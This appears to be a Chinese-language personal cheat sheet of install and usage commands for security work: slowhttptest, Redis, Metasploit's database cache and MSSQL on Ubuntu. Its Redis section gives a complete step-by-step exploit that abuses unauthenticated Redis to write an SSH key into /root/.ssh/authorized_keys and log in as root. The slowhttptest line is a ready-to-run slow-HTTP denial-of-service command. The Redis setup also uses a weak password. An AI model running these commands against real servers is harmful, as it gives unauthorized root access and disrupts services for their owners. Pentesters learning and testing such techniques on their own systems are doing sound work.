实际工作中会遇到一些问题,需要安装部分工具来协助工作的进行,以下内容记录了部分安装使用工具的命令教程汇总,有助于以后工作的便捷开展。
安装slowhttptest
- git clone https://github.com/shekyan/slowhttptest
- cd slowhttptest
- sudo ./configure
- 如果出错,configure: error: OpenSSL-devel is missing,则执行apt-get install libssl-dev
- sudo make install
- 使用命令:slowhttptest -c 5000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u http://xxx.com -x 24 -p 3
安装使用redis
- wget http://download.redis.io/releases/redis-4.0.9.tar.gz
- tar xzf redis-4.0.9.tar.gz
- cd redis-4.0.9
- make
- src目录下 make install
- mkdir /usr/redis
- cp redis-server /usr/redis
- cp redis-benchmark /usr/redis
- cp redis-cli /usr/redis
- cp redis.conf /usr/redis
- cd /usr/redis
- redis-server redis.conf
- redis-cli
- gedit redis.conf配置daemonize yes(设置成后台服务),# requirepass foobared requirepass 123(指定密码123)
- 启动redis服务:redis-server redis.conf
- redis远程连接:redis-cli -h 192.168.10.153
使用redis未授权获取服务器权限
- 生成公私钥 ssh-keygen –t rsa
- 将公钥写入foo.txt (echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > foo.txt
- 连接Redis写入文件 cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
- redis-cli -h 192.168.1.11
- 192.168.1.11:6379> config set dir /root/.ssh/
OK - 192.168.1.11:6379> config get dir
- “dir”
- “/root/.ssh”
- 192.168.1.11:6379> config set dbfilename “authorized_keys”
OK - 192.168.1.11:6379> save
OK - ssh -i id_rsa root@192.168.1.11
msf建立搜索缓存
- Metasploit 使用PostgreSQL作为数据库,所以必须先启PostgreSQL服务:service postgresql start
- 执行成功后,可以通过ss -ant命令查看端口5432是否在侦听,去验证PostgreSQL服务是否成功开启。
- PostgreSQL运行后,我们需要去新建以及初始化msf数据库:msfdb init
- 启动msfconsole然后使用命令db_status去验证数据库是否成功连接:
msf > db_status
[*] postgresql connected to msf - 需要重新构建数据库缓存,在msf提示符下执行以下命令:
msf > db_rebuild_cache
[*] Purging and rebuilding the module cache In the background.. - 构建缓存会在后台运行,稍等几分钟后,重启msf控制台,即可使用搜索模块了
Ubuntu18.04安装mssql
- apt-get install -y libjemalloc1 libsss-nss-idmap0 libc++1 gawk curl
- curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -
- add-apt-repository “$(curl https://packages.microsoft.com/config/ubuntu/16.04/mssql-server-2017.list)"
- add-apt-repository “$(curl https://packages.microsoft.com/config/ubuntu/16.04/prod.list)"
- wget http://archive.ubuntu.com/ubuntu/pool/main/c/ca-certificates/ca-certificates_20160104ubuntu1_all.deb
- dpkg -i ca-certificates_20160104ubuntu1_all.deb
- wget http://archive.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_1.0.2g-1ubuntu4_amd64.deb
- dpkg -i openssl_1.0.2g-1ubuntu4_amd64.deb
- apt install -y libcurl3
- apt-get update
- apt-get install -y mssql-server